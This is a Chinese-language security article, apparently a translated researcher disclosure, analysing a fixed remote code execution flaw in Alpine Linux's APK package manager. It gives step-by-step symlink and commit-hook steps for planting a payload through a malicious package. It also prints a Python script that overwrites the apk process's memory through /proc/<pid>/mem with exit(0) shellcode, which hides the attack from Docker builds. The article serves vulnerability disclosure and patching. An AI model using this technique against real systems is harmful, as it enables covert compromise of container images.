Alpine Linux APK包管理器远程代码执行漏洞分析 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

Alpine Linux APK包管理器远程代码执行漏洞分析

41yf1sh 漏洞 2018-09-17 11:02:10
282209
收藏

导语:Alpine是一款面向安全应用的轻量级Linux发行版本,常作为Docker镜像使用。在研究过程中,我们发现了Alpine Linux默认包管理器APK的一些漏洞。该漏洞允许网络中间人(或恶意包镜像)在用户的机器上实现任意代码执行。

概述

Alpine是一款面向安全应用的轻量级Linux发行版本,常作为Docker镜像使用。在研究过程中,我们发现了Alpine Linux默认包管理器APK的一些漏洞。该漏洞允许网络中间人(或恶意包镜像)在用户的机器上实现任意代码执行。这一漏洞的后果尤为严重,因为在使用默认仓库(Repositories)的过程中,并不会通过TLS的方式提供包。目前,这一漏洞已经得到修复,并且Alpine的基础镜像已经更新。受漏洞影响的用户需要及时对镜像进行更新。

在获得代码执行漏洞利用后,我想出了一个很酷的方法,通过写入/proc/<pid>/mem,使原始apk进程退出,并返回状态码(Exit Code)0,且该方法不需要SYS_PTRACE功能。经过尝试,结果证明安装带有apk的包的Dockerfile后,漏洞仍然能够成功利用,并且能够创建成功。

以下是我在Alpine环境下,通过中间人攻击的方式,对Docker容器进行漏洞利用的过程视频:

https://justi.cz/assets/apkpoc.mp4

漏洞详情:任意文件创建导致远程代码执行

Alpine软件包是以.apk文件的形式发布,实际上它只是用gzip压缩的tar文件。当apk正在提取包时,它会在检查哈希值之前就把这些文件提取出来。在提取压缩包的时候,每个文件名和硬链接目标都以. apk-new为后缀名。随后,当apk检查到某个下载的包哈希值不正确时,会尝试删除对所有提取的文件和目录的链接。

由于apk的“提交挂钩”(Commit Hooks)特性,就很容易将已经存在的任意文件写入漏洞变成代码执行漏洞。如果我们能找到某种方法,将文件解压缩到/etc/apk/commit_hooks.d/,并让它在清理过程之后还能保留在原有位置,那么,该文件就会在apk退出之前执行。

通过控制正在下载的tar文件,我们可以创建一个具有持久性的“提交挂钩”,如下所示:

1、在/etc/apk/commit_hooks.d/创建一个文件夹,默认情况下该文件夹不存在。提取的文件夹不能以.apk-new为后缀。

2、创建一个符号链接,指向/etc/apk/commit_hooks.d/x,其中x可以是任何名称,比如link。它在加上后缀后,文件名为link.apk-new,但仍然会指向/etc/apk/commit_hooks.d/x。

3、创建一个名称link的常规文件(也将添加后缀,变为link.apk-new)。它将通过符号链接写入,并在/etc/apk/commit_hooks.d/x处创建一个文件。

4、当apk发现包的散列与签名索引不匹配时,它将首先取消链接link.apk-new。然而在此时,/etc/apk/commit_hooks.d/x将不会发生变化。原因在于,这个目录中已经包含我们的Payload,所以取消/etc/apk/commit_hooks.d/的链接时将会失败,出现ENOTEMPTY的错误。

修改状态码

现在,在apk退出之前,我们能够在客户端上运行任意代码。需要解决的问题就是,如何找到一种方法能让apk进程完美的退出。如果在Dockerfile创建的步骤使用apk,那么apk将会返回非0的状态码(Exit Code),这一步骤也会失败。

如果我们什么都不做,那么apk会返回一个等于它无法安装的软件包数量的状态码。目前为止,无法安装的软件包至少有一个。但有趣的是,这个值存在溢出漏洞,如果错误数量%256==0,那么这个过程就会返回0,也就是我们想要的状态码返回值。目前,该漏洞已经修复,详见:https://github.com/alpinelinux/apk-tools/commit/7b654e125461b00bc26e52b25e6a7be3a32c11b9

我首先尝试使用gdb附加到进程,并且只调用exit(0)。但不幸的是,Docker容器默认没有SYS_PTRACE功能,所以我们不能这样做。但是,由于我们是root用户,所以我们可以为apk进程读取和写入/proc/<pid>/mem。

import subprocess
import re
 
pid = int(subprocess.check_output(["pidof", "apk"]))
 
print("\033[92mapk pid is {}\033[0m".format(pid))
 
maps_file = open("/proc/{}/maps".format(pid), 'r')
mem_file = open("/proc/{}/mem".format(pid), 'w', 0)
 
print("\033[92mEverything is fine! Please move along...\033[0m")
 
NOP = "90".decode("hex")
 
# xor rdi, rdi ; mov eax, 0x3c ; syscall
shellcode = "4831ffb83c0000000f05".decode("hex")
 
# based on https://unix.stackexchange.com/a/6302
for line in maps_file.readlines():
    m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
    start = int(m.group(1), 16)
    end = int(m.group(2), 16)
 
    if "apk" in line and "r-xp" in line:
        mem_file.seek(start)
        nops_len = end - start - len(shellcode)
        mem_file.write(NOP * nops_len)
        mem_file.write(shellcode)
 
maps_file.close()
mem_file.close()

因此,我们的方案如下:

1、使用pidof找到apk进程的pid;

2、使用/proc/<pid>/maps查找进程的可执行内存;

3、编写Shellcode,最终将exit(0)直接写入内存。这一步能够成功我觉得非常惊讶,我本来以为会写入失败。

当我们的提交挂钩退出后,apk恢复执行,就会运行我们的Shellcode。

总结

如果你在生产环境中使用Alpine Linux,你应该首先重建镜像,然后考虑向该项目组捐款表示支持(https://wiki.alpinelinux.org/wiki/Alpine_Linux:Developers)。原因在于,apk项目的一个主要开发人员只花费了不到一周时间就修复了这一漏洞(https://github.com/fabled),并且随后不久,Alpine的维护团队就发布了新的版本(https://github.com/ncopa)。考虑到目前可能有数百个组织在生产环境中使用了Alpine Linux,因此这些组织可能已经受到了该漏洞的威胁,我们建议尽快开展自查,并及时更新。

  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务